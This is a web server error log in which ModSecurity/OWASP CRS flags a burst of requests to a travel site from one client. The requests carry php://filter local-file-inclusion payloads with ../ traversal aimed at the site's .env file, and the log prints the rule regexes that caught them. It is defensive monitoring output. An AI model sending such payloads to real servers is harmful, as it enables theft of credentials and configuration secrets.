[tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSbAAAAB4"]
[Fri Jul 17 08:55:11.247318 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSbAAAAB4"]
[Fri Jul 17 08:55:11.247343 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSbAAAAB4"]
[Fri Jul 17 08:55:11.247425 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglw5GPQ6hs4VrfMpBPgAAAAY"]
[Fri Jul 17 08:55:11.247897 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:document: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSbAAAAB4"]
[Fri Jul 17 08:55:11.249159 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSbAAAAB4"]
[Fri Jul 17 08:55:11.249319 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.249730 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1CBpfuYyhJ140vSbAAAAB4"]
[Fri Jul 17 08:55:11.277917 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:document: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MLgAAAAc"]
[Fri Jul 17 08:55:11.278231 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:load: php://filter/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95wwAAAAw"]
[Fri Jul 17 08:55:11.278946 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MLgAAAAc"]
[Fri Jul 17 08:55:11.279066 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.279355 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1h1WDijTxd1xw5MLgAAAAc"]
[Fri Jul 17 08:55:11.279854 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95wwAAAAw"]
[Fri Jul 17 08:55:11.279975 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.280256 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4l9vhFBGA6D8l95wwAAAAw"]
[Fri Jul 17 08:55:11.280766 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&load=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&extra=rLy_7CRQHZGyfpQKtZxqj1tg0OErjl4rC0NVisie_iOBKrPOFnXOaaOIRx3Luwks0e5ryPKvnffXeTSkXN9udeO8QmQbV0aUwhlP5g7a4a8sgncVjiyD-0drHKqFCZCnLqM0NeZ6K3rGPsCPAoODcX0oGh4atRJ3Ch5GLjjz9uYvkTEWEYzCBQACoaw5klG8p1x47XOEdTZwKH9updueCDFC85xzCnNMIKcWBugM-Vsf3enmFywfqnpYTjCwj6DBlTju7kOj53bvK6ghFfpgNVkB&token=MUDZQPHSEW5QIQOIEQRZQM6EKH4V3HKOYL7T6OZSH2OQWXN4V5MGM25DRWIMP7WNEKDXCDKREYG2VIO..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sGQAAABQ"]
[Fri Jul 17 08:55:11.280806 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sGQAAABQ"]
[Fri Jul 17 08:55:11.280878 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&load=php://filter/convert.base64-encode/resource=../../.env&extra=rLy_7CRQHZGyfpQKtZxqj1tg0OErjl4rC0NVisie_iOBKrPOFnXOaaOIRx3Luwks0e5ryPKvnffXeTSkXN9udeO8QmQbV0aUwhlP5g7a4a8sgncVjiyD-0drHKqFCZCnLqM0NeZ6K3rGPsCPAoODcX0oGh4atRJ3Ch5GLjjz9uYvkTEWEYzCBQACoaw5klG8p1x47XOEdTZwKH9updueCDFC85xzCnNMIKcWBugM-Vsf3enmFywfqnpYTjCwj6DBlTju7kOj53bvK6ghFfpgNVkB&token=MUDZQPHSEW5QIQOIEQRZQM6EKH4V3HKOYL7T6OZSH2OQWXN4V5MGM25DRWIMP7WNEKDXCDKREYG2VIOYPXZR5PZGPHLVW34CVTWGS74..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sGQAAABQ"]
[Fri Jul 17 08:55:11.280917 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&load=php://filter/convert.base64-encode/resource=../../.env&extra=rly_7crqhzgyfpqktzxqj1tg0oerjl4rc0nvisie_iobkrpofnxoaaoirx3luwks0e5rypkvnffxetskxn9udeo8qmqbv0auwhlp5g7a4a8sgncvjiyd-0drhkqfczcnlqm0nez6k3rgpscpaoodcx0ogh4atrj3ch5gljjz9uyvkteweyzcbqacoaw5klg8p1x47xoedtzwkh9upduecdfc85xzcnnmikcwbugm-vsf3enmfywfqnpytjcwj6dbltju7koj53bvk6ghffpgnvkb&token=mudzqphsew5qiqoieqrzqm6ekh4v3hkoyl7t6ozsh2oqwxn4v5mgm25drwimp7wnekdxcdkreyg2vioypxzr5pzgphlvw34cvtwgs74..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sGQAAABQ"]
[Fri Jul 17 08:55:11.280949 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sGQAAABQ"]
[Fri Jul 17 08:55:11.280976 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sGQAAABQ"]
[Fri Jul 17 08:55:11.281313 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:load: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sGQAAABQ"]
[Fri Jul 17 08:55:11.282318 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sGQAAABQ"]
[Fri Jul 17 08:55:11.282429 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.282712 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0gVnBK6wAv37w6sGQAAABQ"]
[Fri Jul 17 08:55:11.287359 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&load=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&anything=z5FpdhNctJfecKVaFaTwqbLTk9HTYRYSUMbgOHUtgKZV8oepwuR0sXAsCMbPBsZ9uOCRWxWco66YqC52h2R2jnYOSvE-d2eq4qL-6iXlY9ujJL7GvLfuC4JurC5n7t-zl0lNhngKo_08Up0iPaBpsE4jWeBlsBLR75Vfd8ZRelBzxIeE3hODC3-bJPbzoha9JNtKTePQ0yG-QZaqmqZgwwI258MIWvc2efmUEYNY22mTXb-YkTDxtzXuT6cCQoCeqpyiAqWYP_bh-Oqimm-mgoAQ&extra=COZCQ35DPD5QTVSMZJGMXWB3SFI7RTX3ABQ3EO4WNQVPHLPUOGIK676M5BD5SIO2ITHCBTT..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8gQAAABA"]
[Fri Jul 17 08:55:11.287419 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8gQAAABA"]
[Fri Jul 17 08:55:11.287487 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&load=php://filter/convert.base64-encode/resource=../../../.env&anything=z5FpdhNctJfecKVaFaTwqbLTk9HTYRYSUMbgOHUtgKZV8oepwuR0sXAsCMbPBsZ9uOCRWxWco66YqC52h2R2jnYOSvE-d2eq4qL-6iXlY9ujJL7GvLfuC4JurC5n7t-zl0lNhngKo_08Up0iPaBpsE4jWeBlsBLR75Vfd8ZRelBzxIeE3hODC3-bJPbzoha9JNtKTePQ0yG-QZaqmqZgwwI258MIWvc2efmUEYNY22mTXb-YkTDxtzXuT6cCQoCeqpyiAqWYP_bh-Oqimm-mgoAQ&extra=COZCQ35DPD5QTVSMZJGMXWB3SFI7RTX3ABQ3EO4WNQVPHLPUOGIK676M5BD5SIO2ITHCBTTYO6FHWSEQ3T2AUBT4XPCDV5XMX..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8gQAAABA"]
[Fri Jul 17 08:55:11.287532 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&load=php://filter/convert.base64-encode/resource=../../../.env&anything=z5fpdhnctjfeckvafatwqbltk9htyrysumbgohutgkzv8oepwur0sxascmbpbsz9uocrwxwco66yqc52h2r2jnyosve-d2eq4ql-6ixly9ujjl7gvlfuc4jurc5n7t-zl0lnhngko_08up0ipabpse4jweblsblr75vfd8zrelbzxiee3hodc3-bjpbzoha9jntktepq0yg-qzaqmqzgwwi258miwvc2efmueyny22mtxb-yktdxtzxut6ccqoceqpyiaqwyp_bh-oqimm-mgoaq&extra=cozcq35dpd5qtvsmzjgmxwb3sfi7rtx3abq3eo4wnqvphlpuogik676m5bd5sio2ithcbttyo6fhwseq3t2aubt4xpcdv5xmx..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8gQAAABA"]
[Fri Jul 17 08:55:11.287564 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8gQAAABA"]
[Fri Jul 17 08:55:11.287592 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8gQAAABA"]
